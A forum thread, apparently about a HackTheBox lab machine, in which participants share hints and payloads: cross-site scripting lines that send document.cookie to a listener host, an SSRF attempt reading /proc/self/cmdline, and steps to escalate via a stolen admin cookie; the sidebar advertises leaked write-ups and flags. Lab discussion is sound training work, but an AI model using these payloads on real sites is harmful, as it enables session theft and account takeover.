Possibly Related Threads…

nomx1337 · 04-28-2024, 12:48 PM

(04-28-2024, 12:47 PM)ticklemeelmo Wrote: Wait... What is the step after getting the Flask Secret Key??

Find other source files

hexacor · 04-28-2024, 12:59 PM

(04-28-2024, 09:22 AM)jsvensson Wrote:
(04-28-2024, 09:16 AM)vanatka123 Wrote:
(04-28-2024, 07:34 AM)andlommy Wrote: user, finally
use the SSRF to find application code
use that same ssrf to access the next hop (http is not the only protocol
convert key
profit.

now for the root....

How do you know the location of the source code?

use file:///proc/self/cmdline

Hello guys,

I'm currently stuck for fews hours on the SSRF....
I did this but even i try so many payload i got "unexpected error"...
I put space before file but even i send this to the server i got error.
Anyone have a little hint please Smile

<html>
<body>
<h1>Proof that you Signed Your Life Away</h1>
<img src=""><body id="body"> <script>jsImg = new Image();jsImg.src=" file:///proc/self/cmdline";document.getElementById("body").appendChild(jsImg);</script></body></img>
</body>
</html>

fuliye · 04-28-2024, 01:10 PM

guys ， What is the code for returning the cookie?T_T

laranja · 04-28-2024, 01:41 PM

[quote="fuliye" pid='587786' dateline='1714309846']
guys ， What is the code for returning the cookie?T_T
[/citar]

1º listener = python3 -m http.server 80

2º = <script>var i=new Image(); i.src="http://10.10.xx.xx:80/?cookie="+btoa(document.cookie);</script>

and then waiting for the python server to capture the cookie can take some time....patience

ConnorHack · 04-28-2024, 01:42 PM

You can just use this as description:
<img src=x onerror=fetch('http://10.10.X.X:8000/'+document.cookie);>

Wait listening with python3 -m http.server

---

I'm stucked now as root inside a container. Does anyone know how to breakout?

osamy7593 · 04-28-2024, 01:45 PM

(04-28-2024, 01:42 PM)ConnorHack Wrote: You can just use this as description:
<img src=x onerror=fetch('http://10.10.X.X:8000/'+document.cookie);>

Wait listening with python3 -m http.server

---

I'm stucked now as root inside a container. Does anyone know how to breakout?

Bro we use ssrf to get the private key after getting the cookie or what is the next step .. I saw someone said there is another cookie for whom ? Can u explain

query1338 · 04-28-2024, 01:47 PM

I found out that there is a ftp connection, do I need to use this connection to get the private key?

nomx1337 · 04-28-2024, 01:49 PM

(04-28-2024, 01:47 PM)query1338 Wrote: I found out that there is a ftp connection, do I need to use this connection to get the private key?

yes you use these creds to get the private key for user

ConnorHack · 04-28-2024, 01:50 PM

(04-28-2024, 01:45 PM)osamy7593 Wrote:
(04-28-2024, 01:42 PM)ConnorHack Wrote: You can just use this as description:
<img src=x onerror=fetch('http://10.10.X.X:8000/'+document.cookie);>

Wait listening with python3 -m http.server

---

I'm stucked now as root inside a container. Does anyone know how to breakout?

Bro we use ssrf to get the private key after getting the cookie or what is the next step .. I saw someone said there is another cookie for whom ? Can u explain

Sure, there is another thing to do.

First you receive a cookie for user called "adam". When you access like adam inside the dashboard, you can change reports priority.

Now, send again the XSS and quickly update the priority to 1.

Thee you go the second request with the new cookie as "admin".

osamy7593 · 04-28-2024, 01:53 PM

(04-28-2024, 01:50 PM)ConnorHack Wrote:
(04-28-2024, 01:45 PM)osamy7593 Wrote:
(04-28-2024, 01:42 PM)ConnorHack Wrote: You can just use this as description:
<img src=x onerror=fetch('http://10.10.X.X:8000/'+document.cookie);>

Wait listening with python3 -m http.server

---

I'm stucked now as root inside a container. Does anyone know how to breakout?

Bro we use ssrf to get the private key after getting the cookie or what is the next step .. I saw someone said there is another cookie for whom ? Can u explain

Sure, there is another thing to do.

First you receive a cookie for user called "adam". When you access like adam inside the dashboard, you can change reports priority.

Now, send again the XSS and quickly update the priority to 1.

Thee you go the second request with the new cookie as "admin".

Thx man

Possibly Related Threads…
Thread		Author	Replies	Views	Last Post
	[FREE] 300+ Writeups PDF HackTheBox/HTB premium retired	Tamarisk	360	88,710	03-28-2026, 09:28 AM Last Post: catsweet
	[FREE] HTB-ProLabs APTLABS Just Flags	kewlsunny	23	2,348	03-28-2026, 03:30 AM Last Post: lulaladrow
	[MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot	htb-bot	87	7,490	03-27-2026, 07:22 PM Last Post: stn
	HTB Eloquia User and Root Flags - Insane Box	69646B	13	350	03-27-2026, 06:14 PM Last Post: vlxw
	HTB - ALL Challenges you Stuck in	osamy7593	2	646	03-27-2026, 04:24 PM Last Post: catsweet